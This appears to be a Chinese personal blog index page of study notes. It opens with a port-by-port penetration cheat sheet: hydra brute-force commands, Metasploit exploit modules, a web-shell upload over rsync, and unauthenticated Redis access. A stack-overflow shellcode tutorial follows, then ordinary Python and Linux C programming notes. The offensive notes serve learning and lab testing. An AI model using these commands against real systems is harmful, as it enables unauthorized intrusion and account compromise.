温酒送诗人

蓬莱文章建安骨,中间小谢又清发


  • 首页

  • 关于

  • 资源

  • gitbook

常见端口渗透

发表于 2019-02-19 | 分类于 Web安全

常见端口和服务

端口 说明 攻击方法
21 FTP-文件传输协议 弱口令、爆破、嗅探、后门
22 ssh-安全隧道远程登陆 弱口令、爆破
23 telnet-远程连接 弱口令、爆破、嗅探
25 smtp-简单邮件传输协议 邮件伪造
53 domain-DNS域名解析服务 DNS劫持、缓存投毒
80/443 http服务 常见Web漏洞、IIS写文件、OpenSSL
139 Samba服务 爆破、远程代码执行
445 局域网共享 ms-17010漏洞(Win7及之前版本)
873 Rsync 远程代码执行
1433 MSSQL数据库 爆破、SQL注入
2049 NFS 未授权访问
3306 MySQL数据库 爆破、SQL注入
3389 rdp-远程桌面连接 爆破、漏洞ms12-020等
5432 postgresql 爆破、注入
5632 Pcanywhere 拒绝服务等漏洞、爆破
5900 VNC远程登陆 爆破、认证绕过
6379 Redis 未授权访问
7001/7002 weblogic Java反序列化漏洞
9990 jboss 远程代码执行、Java反序列化

攻击方向

21(FTP)

默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)

爆破:
1
2
3
#anonymous匿名登陆
#弱口令 用户名:FTP 密码:FTP或为空或爆破
hydra -l FTP -P top10000.txt ftp://192.168.115.136
嗅探:

Ettercap(内网神器)

或msf模块

1
use auxiliary/sniffer/psnuffle
后门:

在特定版本的vsftpd服务器中,被人恶意植入代码,当用户名以”:)”为结尾

服务器就会在6200端口监听,并且能够执行任意代码(root)

1
use exploit/unix/ftp/vsftpd_234_backdoor

22(SSH)

爆破:
1
2
#可以采用上边那种或以下这种写法
hydra -l root -P top10000.txt 192.168.115.136 ssh -v

53(DNS)

内网使用Ettercap进行DNS劫持,钓鱼攻击

公网的话要能控制运营商网关

139(Smb)

爆破:
1
hydra -l root -P top10000.txt 192.168.115.136 smb -v
远程代码执行:

CVE-2015-0240

CVE-2017-7494

443(https)

检测:

心脏滴血在线检测

1
nmap -sV -p 8443 --script ssl-heartbleed 192.168.115.136
利用:
1
use auxiliary/scanner/ssl/openssl_heartbleed

873(Rsync)

未授权访问:
1
2
rsync -avz ip::wwwroot/目录   /root/	#下载目标主机上的文件到本机root目录
rsync -avz shell.php 192.168.3.xxx::wwwroot #上传文件

2049(NFS)

未授权访问

列出导出文件夹:
1
use auxiliary/scanner/nfs/nfsmount

6379(Redis)

未授权访问:
1
2
3
4
#没有密码,直接连接
redis-cli -h 192.168.115.136
#Redis命令
>info #查看主机信息

Redis未授权访问总结(1)

Redis未授权访问总结(2)

7001/7002(weblogic)

反序列化:CVE-2017-3248

windows-shellcode开发

发表于 2019-02-16 | 分类于 Pwn

exploit:代码植入的漏洞利用过程
shellcode:实际攻击载荷(渗透中称payload)

定位shellcode

栈帧移位与jmp esp

在实际漏洞利用中,由于动态链接库的装入和卸载,Windows进程的函数帧很有可能会产生移位。

即shellcode在内存中的地址是会动态变化的。

用进程代码空间里一条jmp esp指令的地址覆盖函数返回地址。

函数返回后,先去执行跳转指令,之后才回到栈区。

重新布置shellcode的摆放位置后,可以准确的定位shellcode,适应栈区动态变化的要求。

(1) 用内存中的任意一条jmp esp指令的地址覆盖函数返回地址,而不是手工查出的shellcode起始地址直接覆盖

(2) 函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接执行shellcode

(3) 由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,

​ 处理器会到栈区函数返回地址之后的地方取指执行

(4) 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。

​ 将缓冲区前面一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。

​ 这样,jmp esp指令执行过后会恰好跳进shellcode

这种定位shellcode的方法使用进程空间里的一条jmp esp指令作为”跳板”

不论栈帧怎么”移位”,都能够精确地跳回栈区

从而适应程序运行中shellcode内存地址的动态变化

获取跳板地址

除了PE文件的代码被读入内存空间,一些常被用到的动态链接库一会一同被映射到内存

例如,kernel32.dll,user32.dll 之类的会被几乎所有的进程加载,且加载基址始终相同。

所以这里使用user32.dll中的jmp esp作为跳板。

编程搜索内存,获取user32.dll的内存跳转指令地址

注意:jmp esp 的地址应该逆序写入 shellcode 如 0x77d29353 >> 53 93 d2 77

的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll erro!\n");
exit(0);
}
ptr = (BYTE*)handle;

for(position=0;!done_flag;position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xffe4是jmp code的机器码
int address = (int)ptr + position;
printf("Opcode found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END of 0x%x\n",address);
done_flag = true;
}
}
}

这个程序从user32.dll在内存中的基址,开始向后搜索0xFFE4,如果找到就返回其内存地址(指针值)

OD插件OllyUni.dll

使用这个插件可以轻易获得整个进程空间中的各类跳转地址。

在代码框内右键使用这个插件,然后点击”L”查看日志文件。

使用”跳板”定位的exploit

写出新的可以正常退出的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <WINDOWS.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11]="user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm
{
sub sp,0x440
xor ebx,ebx
push ebx
push 0x30307972
push 0x746E6977 //push wintry00

mov eax,esp
push ebx
push eax
push eax
push ebx

mov eax,0x77D507EA
call eax //call MessageBoxA

push ebx
mov eax,0x7C81CAFA
call eax //call exit(0)

}

}

将vc6编译生成的exe放进OD取出需要的机器码

然后更新password.txt

jmp esp”跳板”前面填充任意数据,之后是新的shellcode

可完美弹出窗口并退出,没有报错

缓冲区的组成

选用jmp esp作为定位shellcode的跳板,在函数返回后要根据缓冲区的大小、所需shellcode长度灵活布置缓冲区

进入缓冲区的数据:

(1) 填充物:可为任意值,一般用90填充,并把shellcode布置于其后

​ 只要能跳进填充区,就能顺利执行shellcode

(2) 淹没返回地址的数据:”跳板”指令、shellcode起始地址、甚至近似shellcode的起始地址

(3) shellcode:可执行的机器代码。

开发通用的shellcode

自动获取API入口地址,用转义字符把机器码放在一个数组中。

都写到这了,查资料的时候看到brant-ruan大佬的一篇博客,总结的太好了,书上的图都重做了,很清晰

这篇文章包括了整个第三章的内容,传送门

大佬的博客里边还有其它Oday章节的总结

GUI编程

发表于 2019-02-08 | 分类于 python核心编程

python-Tk库

Tkinter是Python的默认GUI库。

Tk 控件
控 件 描 述
Button 与 Label 类似,但提供额外的功能,如鼠标悬浮、按下、释放以及键盘活动/事件
Canvas 提供绘制形状的功能(线段、椭圆、多边形、矩形),可以包含图像或位图
Checkbutton 一组选框,可以勾选其中的任意个(与 HTML 的 checkbox 输入类似)
Entry 单行文本框,用于收集键盘输入(与 HTML 的文本输入类似)
Frame 包含其他控件的纯容器
Label 用于包含文本或图像
LabelFrame 标签和框架的组合,拥有额外的标签属性
Listbox 给用户显示一个选项列表来进行选择
Menu 按下 Menubutton 后弹出的选项列表,用户可以从中选择
Menubutton 用于包含菜单(下拉、级联等)
Message 消息。与 Label 类似,不过可以显示成多行
PanedWindow 一个可以控制其他控件在其中摆放的容器控件
Radiobutton 一组按钮,其中只有一个可以“按下”(与 HTML 的 radio 输入类似)
Scale 线性“滑块”控件,根据已设定的起始值和终止值,给出当前设定的精确值
Scrollbar 为 Text、 Canvas、 Listbox、 Enter 等支持的控件提供滚动功能
Spinbox Entry 和 Button 的组合,允许对值进行调整
Text 多行文本框,用于收集(或显示)用户输入的文本(与 HTML 的 textarea 类似)
Toplevel 与 Frame 类似,不过它提供了一个单独的窗口容器
一个初级GUI示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from tkinter import *
import tkinter.messagebox as messagebox # 别名设置

class Application(Frame):
def __init__(self):
Frame.__init__(self,master=None)
self.pack()
self.createWindow()
def createWindow(self):
self.helloLable=Label(self,text='输入你的名字')
self.helloLable.pack()
self.nameInput = Entry(self)
self.nameInput.pack()
self.alertButton = Button(self, text='Hello', command=self.hello)
self.alertButton.pack()
self.quitButton=Button(self,text='离开',command=self.quit)
self.quitButton.pack()
def hello(self):
name = self.nameInput.get() or 'world' # 获取输入,默认为world
messagebox.showinfo('这是弹窗标题', '你好, %s' % name) # 弹窗

app = Application() # 实例化窗口
app.master.title('Hello World') # 设置窗口标题:
app.mainloop() # 主消息循环:

官方doc:https://docs.python.org/3/library/tkinter.html

多线程编程

发表于 2019-02-08 | 分类于 python核心编程

threading模块

threading 模块的对象
对 象 描 述
Thread 表示一个执行线程的对象
Lock 锁原语对象(和 thread 模块中的锁一样)
RLock 可重入锁对象,使单一线程可以(再次)获得已持有的锁(递归锁)
Condition 条件变量对象,使得一个线程等待另一个线程满足特定的“条件”,比如改变状态或 某个数据值
Event 条件变量的通用版本,任意数量的线程等待某个事件的发生,在该事件发生后所有 线程将被激活
Semaphore 为线程间共享的有限资源提供了一个“计数器”,如果没有可用资源时会被阻塞
BoundedSemaphore 与 Semaphore 相似,不过它不允许超过初始值
Timer 与 Thread 相似,不过它要在运行前等待一段时间
Barrier① 创建一个“障碍”,必须达到指定数量的线程后才可以继续
守护线程
thread模块,不支持守护线程这个概念。
当主线程退出时,所有子线程都将终止,不管它们是否仍在工作
如果你不希望发生这种行为,就要引入守护线程的概念了
threading 模块支持守护线程,其工作方式是:守护线程一般是一个等待客户端请求服务的服务器。
如果没有客户端请求,守护线程就是空闲的。
如果把一个线程设置为守护线程,就表示这个线程是不重要的,进程退出时不需要等待这个线程执行完成。
要将一个线程设置为守护线程,需要在启动线程之前执行如下赋值语句:thread.daemon = True
同样,要检查线程的守护状态,也只需要检查这个值即可,一个新的子线程会继承父线程的守护标记。
整个 Python 程序(主线程)将在所有非守护线程退出之后才退出
换句话说,就是没有剩下存活的非守护线程时。

Thread 类

threading 模块的 Thread 类是主要的执行对象。它有 thread 模块中没有的很多函数。

Thread

对象的属性和方法

属 性 描 述
Thread 对象数据属性
name 线程名
ident 线程的标识符
daemon 布尔标志,表示这个线程是否是守护线程
Thread 对象方法
init(group=None, tatget=None, name=None, args=(), kwargs ={}, verbose=None, daemon=None) ③ 实例化一个线程对象,需要有一个可调用的 target,以及其参数 args 或 kwargs。还可以传递 name 或 group 参数,不过后者还未实现。此 外 , verbose 标 志 也 是 可 接 受 的。 而 daemon 的 值 将 会 设定 thread.daemon 属性/标志
属 性 描 述
start() 开始执行该线程
run() 定义线程功能的方法(通常在子类中被应用开发者重写)
join (timeout=None) 直至启动的线程终止之前一直挂起;除非给出了 timeout(秒),否则 会一直阻塞
getName()① 返回线程名
setName (name)① 设定线程名
isAlivel /is_alive ()② 布尔标志,表示这个线程是否还存活
isDaemon()③ 如果是守护线程,则返回 True;否则,返回 False
setDaemon(daemonic)③ 把线程的守护标志设定为布尔值 daemonic(必须在线程 start()之前 调用)

创建实例

启动一个线程就是把一个函数传入并创建Thread实例,然后调用start()开始执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding:utf8 -*-

import threading
import time

def loop():
strat_time = time.time()
print('thread %s is running...' % threading.current_thread().name) #当前进程名
n = 0
while n < 5:
n = n + 1
print('thread %s >>> %s' % (threading.current_thread().name, n))
time.sleep(1)
print('thread %s ended.' % threading.current_thread().name)
end_time = time.time()
all_time = end_time - strat_time
print("共用时:%s" % all_time)


print('thread %s is running...time = %s' % (threading.current_thread().name,time.ctime()))
t = threading.Thread(target=loop, name='LoopThread') # 创建Thread实例
t.start() # 开始执行
t.join() # 阻塞主线程
print('thread %s ended. time = %s ' % (threading.current_thread().name,time.ctime()))

Lock

多线程和多进程最大的不同在于,多进程中,同一个变量,各自有一份拷贝存在于每个进程中,互不影响,

而多线程中,所有变量都由所有线程共享,所以,任何一个变量都可以被任何一个线程修改,

因此,线程之间共享数据最大的危险在于多个线程同时改一个变量,把内容给改乱了。

一个用Lock解决的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import time, threading

# 假定这是你的银行存款:
balance = 0
lock=threading.Lock() #创建锁

def change_it(n):
# 先存后取,结果应该为0:
global balance
balance = balance + n
balance = balance - n

def run_thread(n):
for i in range(100000):
lock.acquire() # 申请锁
try:
change_it(n)
finally:
lock.release() # 释放锁

t1 = threading.Thread(target=run_thread, args=(5,))
t2 = threading.Thread(target=run_thread, args=(8,))

t1.start()
t2.start()

t1.join()
t2.join()

print("The Res is %d" % balance)

生产者-消费者问题和queue模块

queue模块,提供线程间通信的机制,从而让线程之间可以互相分享数据

具体而言,就是创建一个队列,让生产者(线程)在其中放入新的商品,而消费者(线程)消费这些商品

queue

模块常用属性

属 性 描 述
queue 模块的类
Queue(maxsize=0) 创建一个先入先出队列。如果给定最大值,则在队列没有空间时阻塞;否则(没 有指定最大值),为无限队列
LifoQueue(maxsize=0) 创建一个后入先出队列。如果给定最大值,则在队列没有空间时阻塞;否则(没 有指定最大值),为无限队列
PriorityQueue(maxsize=0) 创建一个优先级队列。如果给定最大值,则在队列没有空间时阻塞,否则(没 有指定最大值) ,为无限队列
Queue/queue 异常
Empty 当对空队列调用 get*()方法时抛出异常
Full 当对已满的队列调用 put*()方法时抛出异常
Queue/queue 对象方法
qsize () 返回队列大小(由于返回时队列大小可能被其他线程修改,所以该值为近似值)
empty() 如果队列为空,则返回 True;否则,返回 False
full() 如果队列已满,则返回 True;否则,返回 False
put (item, block=Ture, timeout=None) 将 item 放入队列。如果 block 为 True(默认)且 timeout 为 None,则在有可用 空间之前阻塞;如果 timeout 为正值,则最多阻塞 timeout 秒;如果 block 为 False, 则抛出 Empty 异常
put_nowait(item) 和 put(item, False)相同
get (block=True, timeout=None) 从队列中取得元素。如果给定了 block(非 0),则一直阻塞到有可用的元素 为止
get_nowait() 和 get(False)相同
task_done() 用于表示队列中的某个元素已执行完成,该方法会被下面的 join()使用
join() 在队列中所有元素执行完毕并调用上面的 task_done()信号之前,保持阻塞

MyThread.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python

import threading
from time import ctime


class MyThread(threading.Thread):
def __init__(self, func, args, name=''):
threading.Thread.__init__(self)
self.func = func
self.name = name
self.args = args

def run(self):
print('开始执行', self.name, ' 在:', ctime())
self.res = self.func(*self.args)
print(self.name, '结束于:', ctime())

def getResult(self):
return self.res

product.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding:utf8 -*-
from random import randint
from time import sleep
from queue import Queue
from MyThread import MyThread


# 将一个对象放入队列中
def writeQ(queue):
print('正在为队列生产………')
queue.put('商品', 1)
print('当前商品总数:', queue.qsize())


# 消费队列中的一个对象
def readQ(queue):
val = queue.get(1)
print('正在从队列中消费商品……消费后还剩余商品:', queue.qsize())


# 模仿生产者。
def writer(queue, loops):
for i in range(loops):
writeQ(queue)
sleep(randint(1, 3)) # writer的睡眠时间一般比reader短,是为了阻碍 reader从空队列中获取对象,换句话说就是使得轮到reader执行时,已存在可消费对象的可能性更大。


# 模仿消费者
def reader(queue, loops):
for i in range(loops):
readQ(queue)
sleep(randint(2, 5))


funcs = [writer, reader]
nfuncs = range(len(funcs))


def main():
nloops = randint(2, 5) # randint 和randrange类似,区别在于,randrange是半开半闭区间,而randint是闭区间
q = Queue(32)

threads = [] # 模拟线程池
for i in nfuncs:
t = MyThread(funcs[i], (q, nloops), funcs[i].__name__) # 创建线程
threads.append(t)

for i in nfuncs:
threads[i].start() # 开始执行线程

for i in nfuncs:
threads[i].join()

print('结束')


if __name__ == '__main__':
main()

Linux-C网络编程

发表于 2019-02-06 | 分类于 Linux-C编程

简介

基础是TCP/IP协议,网上资料很多不再赘述。

推荐《图解TCP/IP》

socket编程

网络字节序

发送主机通常将发送缓冲区中的数据按内存地址从低到高的顺序发出,

接收主机把从网络上接到的字节依次保存在接收缓冲区中,也是按内存地址从低到高的顺序保存

因此,网络数据流的地址规定:先发出的数据是低地址,后发出的数据是高地址


TCP/IP协议规定,网络数据流应采用大端字节序,即低地址高字节。

例如UDP段格式,地址0-1是16位的源端口号,如果这个端口号是1000(0x3e8)

则地址0是0x03,地址1是0xe8,也就是先发0x03,再发0xe8

这16位在发送主机的缓冲区中也应该是低地址存0x03,高地址存0xe8。

但是,如果发送主机是小端字节序的,这16位被解释成0xe803,而不是1000。

因此,发送主机把1000填到发送缓冲区之前需要做字节序的转换。

同样地,接收主机如果是小端字节序的,接到16位的源端口号也要做字节序的转换。

如果主机是大端字节序的,发送和接收都不需要做转换。

同理,32位的IP地址也要考虑网络字节序和主机字节序的问题。

网络字节序转换

为使网络程序具有可移植性,使同样的C代码在大端和小端计算机上编译后都能正常运行

可以调用以下库函数做网络字节序和主机字节序的转换

1
2
3
4
5
6
7
8
9
#include <arpa/inet.h>

uint32_t htonl(uint32_t hostlong);

uint16_t htons(uint16_t hostshort);

uint32_t ntohl(uint32_t netlong);

uint16_t ntohs(uint16_t netshort);

h表示host,n表示network,l表示32位长整数,s表示16位短整数;

htonl表示将32位的长整数从主机字节序转换为网络字节序,例如将IP地址转换后准备发送。

如果主机是小端字节序,这些函数将参数做相应的大小端转换然后返回;

如果主机是大端字节序,这些函数不做转换,将参数原封不动地返回;

IP地址格式转换

通常用户在表达地址时采用的是点分十进制表示的数值(或者是为冒号分开的十进制Ipv6地址)

而在通常使用的socket编程中使用的则是32位的网络字节序的二进制值,这就需要将这两个数值进行转换。

这里在 Ipv4 中用到的函数有inet_aton()、inet_addr()和inet_ntoa()

而 IPV4 和 Ipv6 兼容的函数有inet_pton()和inet_ntop()。

IPv4的函数原型:
1
2
3
4
5
6
7
8
9
10
11
#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

int inet_aton(const char *straddr, struct in_addr *addrptr);

char *inet_ntoa(struct in_addr inaddr);

in_addr_t inet_addr(const char *straddr);
  • 函数inet_aton():将点分十进制数的IP地址转换成为网络字节序的32位二进制数值

    • 返回值:成功,则返回1,不成功返回0
    • 参数straddr:存放输入的点分十进制数IP地址字符串
    • 参数addrptr:传出参数,保存网络字节序的32位二进制数值
  • 函数inet_ntoa():将网络字节序的32位二进制数值转换为点分十进制的IP地址

    • 函数inet_addr():功能与inet_aton相同,但是结果传递的方式不同。
    • inet_addr()若成功则返回32位二进制的网络字节序地址
例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main()
{
char ip[] = "192.168.0.101";
struct in_addr myaddr;

/* inet_aton 32字节序*/
int iRet = inet_aton(ip, &myaddr);
printf("%x\n", myaddr.s_addr);

/* inet_addr 32字节序*/
printf("%x\n", inet_addr(ip));

/* inet_pton 32字节序*/
iRet = inet_pton(AF_INET, ip, &myaddr);
printf("%x\n", myaddr.s_addr);
myaddr.s_addr = 0xac100ac4;

/* inet_ntoa 输出点分十进制IP*/
printf("%s\n", inet_ntoa(myaddr));

/* inet_ntop 输出点分十进制IP*/
inet_ntop(AF_INET, &myaddr, ip, 16);
puts(ip);
return 0;
}

域名和IP地址转换

Linux中,gethostbyname()是将主机名转化为IP地址,gethostbyaddr()则是逆操作,是将IP地址转化为主机名。

socket地址的数据类型及相关函

socket API是一层抽象的网络编程接口,适用于各种底层网络协议

如IPv4、IPv6,UNIX Domain Socket。

基于TCP协议的网络程序

TCP程序通信流程图

服务器调用socket()、bind()、listen()完成初始化后,调用accept()阻塞等待,

处于监听端口的状态,客户端调用socket()初始化后,调用connect()发出SYN段并阻塞等待服务器应答,

服务器应答一个SYN-ACK段,客户端收到后从connect()返回

同时应答一个ACK段,服务器收到后从accept()返回

TCP程序实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/*server.c*/
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/shm.h>

#define MYPORT 8887
#define QUEUE 20
#define BUFFER_SIZE 1024

int main()
{
///定义sockfd
int server_sockfd = socket(AF_INET,SOCK_STREAM, 0);


//定义sockaddr_in
struct sockaddr_in server_sockaddr;
server_sockaddr.sin_family = AF_INET;
server_sockaddr.sin_port = htons(MYPORT);
server_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);

///bind,成功返回0,出错返回-1
if(bind(server_sockfd,(struct sockaddr *)&server_sockaddr,sizeof(server_sockaddr))==-1)
{
perror("bind");
exit(1);
}

printf("监听%d端口\n",MYPORT);
///listen,成功返回0,出错返回-1
if(listen(server_sockfd,QUEUE) == -1)
{
perror("listen");
exit(1);
}

///客户端套接字
char buffer[BUFFER_SIZE];
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);

printf("等待客户端连接\n");
///成功返回非负描述字,出错返回-1
int conn = accept(server_sockfd, (struct sockaddr*)&client_addr, &length);
if(conn<0)
{
perror("connect");
exit(1);
}
printf("客户端成功连接\n");

while(1)
{
memset(buffer,0,sizeof(buffer));
int len = recv(conn, buffer, sizeof(buffer),0);
//客户端发送exit或者异常结束时,退出
if(strcmp(buffer,"exit\n")==0 || len<=0)
break;
printf("来自客户端数据:%s\n",buffer);
send(conn, buffer, len, 0);
printf("发送给客户端数据:%s\n",buffer);
}
close(conn);
close(server_sockfd);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/*client.c*/
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/shm.h>

#define MYPORT 8887
#define BUFFER_SIZE 1024
char* SERVER_IP = "127.0.0.1";

int main()
{
///定义sockfd
int sock_cli = socket(AF_INET,SOCK_STREAM, 0);


///定义sockaddr_in
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(MYPORT); ///服务器端口
servaddr.sin_addr.s_addr = inet_addr(SERVER_IP); ///服务器ip

printf("连接%s:%d\n",SERVER_IP,MYPORT);
///连接服务器,成功返回0,错误返回-1
if (connect(sock_cli, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
{
perror("connect");
exit(1);
}
printf("服务器连接成功\n");
char sendbuf[BUFFER_SIZE];
char recvbuf[BUFFER_SIZE];
while (fgets(sendbuf, sizeof(sendbuf), stdin) != NULL)
{
printf("向服务器发送数据:%s\n",sendbuf);
send(sock_cli, sendbuf, strlen(sendbuf),0); ///发送
if(strcmp(sendbuf,"exit\n")==0)
break;
recv(sock_cli, recvbuf, sizeof(recvbuf),0); ///接收
printf("从服务器接收数据:%s\n",recvbuf);

memset(sendbuf, 0, sizeof(sendbuf));
memset(recvbuf, 0, sizeof(recvbuf));
}

close(sock_cli);
return 0;

}

基于UDP的网络程序

通信流程图

UDP例程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/*server.c*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<errno.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<string.h>

#define MYPORT 8887

#define ERR_EXIT(m) \
do { \
perror(m); \
exit(EXIT_FAILURE); \
} while (0)

void echo_ser(int sock)
{
char recvbuf[1024] = {0};
struct sockaddr_in peeraddr;
socklen_t peerlen;
int n;

while (1)
{

peerlen = sizeof(peeraddr);
memset(recvbuf, 0, sizeof(recvbuf));
n = recvfrom(sock, recvbuf, sizeof(recvbuf), 0,
(struct sockaddr *)&peeraddr, &peerlen);
if (n <= 0)
{

if (errno == EINTR)
continue;

ERR_EXIT("recvfrom error");
}
else if(n > 0)
{
printf("接收到的数据:%s\n",recvbuf);
sendto(sock, recvbuf, n, 0,
(struct sockaddr *)&peeraddr, peerlen);
printf("回送的数据:%s\n",recvbuf);
}
}
close(sock);

}

int main(void)
{
int sock;
if ((sock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
ERR_EXIT("socket error");

struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(MYPORT);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

printf("监听%d端口\n",MYPORT);
if (bind(sock, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
ERR_EXIT("bind error");

echo_ser(sock);

return 0;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*client.c*/
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>

#define MYPORT 8887
char* SERVERIP = "127.0.0.1";
#define ERR_EXIT(m) \
do{ \
perror(m); \
exit(EXIT_FAILURE); \
} while(0)

void echo_cli(int sock)
{
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(MYPORT);
servaddr.sin_addr.s_addr = inet_addr(SERVERIP);

int ret;
char sendbuf[1024] = {0};
char recvbuf[1024] = {0};
while (fgets(sendbuf, sizeof(sendbuf), stdin) != NULL)
{

printf("向服务器发送:%s\n",sendbuf);
sendto(sock, sendbuf, strlen(sendbuf), 0, (struct sockaddr *)&servaddr, sizeof(servaddr));

ret = recvfrom(sock, recvbuf, sizeof(recvbuf), 0, NULL, NULL);
if (ret == -1)
{
if (errno == EINTR)
continue;
ERR_EXIT("recvfrom");
}
printf("从服务器接收:%s\n",recvbuf);

memset(sendbuf, 0, sizeof(sendbuf));
memset(recvbuf, 0, sizeof(recvbuf));
}

close(sock);

}

int main(void)
{
int sock;
if ((sock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
ERR_EXIT("socket");

echo_cli(sock);

return 0;

}

Linux-C系统编程

发表于 2019-02-05 | 分类于 Linux-C编程

进程相关的概念

程序和进程

程序:二进制文件、占用磁盘空间

进程:运行着的程序,数据在内存中,占用系统资源,CPU,物理内存()

PCB描述进程(进程控制块)

把描述进程的所有信息的那条记录叫做 PCB(process control block)

每个进程有且仅有一个PCB

linux下的PCB:task_struct

存放在/usr/src/kernels/2.6.32-431.el6.i686/include/linux/sched.h

程序计数器:程序中即将被执行的下一条指令的地址。

内存指针:包括程序代码和进程相关数据的指针,还有和其他进程共享的内存块指针

进程优先级

优先级:相对于其他进程的优先级。

1
2
3
ps -al	#可查看进程优先级
renice -5 -p PID #修改进程优先级
#top命令可以实时动态地查看系统的整体运行情况

进程的五种状态

  1. R 运行 (正在运行或在运行队列中等待)
  2. S 中断 (休眠中, 受阻, 在等待某个条件的形成或接受到信号)
  3. D 不可中断 (收到信号不唤醒和不可运行, 进程必须等待直到有中断发生)
  4. Z 僵死 (进程已终止, 但进程描述符存在, 直到父进程调用wait4()系统调用后释放)
  5. T 停止 (进程收到SIGSTOP, SIGSTP, SIGTIN, SIGTOU信号后停止运行运行)

并行和并发

并行:指两个或者多个事件在同一时刻发生;

并发:指两个或多个事件在同一时间间隔发生

孤进程和僵进程

孤儿进程:父进程先退出,子进程就称之为“孤儿进程”

僵尸进程:当进程退出并且父进程(使用wait()系统调用)没有读取到子进程退出的返回代码时就会产生僵进程。

僵尸进程放弃了几乎所有的内存空间,没有任何可执行代码,也不能别调度,

仅仅在进程列表保留位置,而且不占用任何内存空间

ps/kill命令的使用

1
2
3
ps -aux		#列出进程详细信息,可配合grep筛选

kill 1234 #杀死指定PID的进程

fork/getpid/getppid函数的使用

fork函数,计算机程序设计中的分叉函数

若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1

getpid返回当前进程标识,getppid返回父进程标识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void)
{
pid_t pid=fork();
switch(pid)
{
case -1:
printf("Fork Error\n");
case 0:
printf("\nI'm Child My PID=%d\n",getpid());
printf("My Parent PID=%d\n",getppid()); //这个父进程的父进程
printf("Child is Exiting\n");
exit(0);
default:
printf("\nI'm Parent My PID=%d\n",getpid());
printf("My Child PID is %d\n",pid);
}
}

的

execl/execlp函数的使用

Fork炸弹

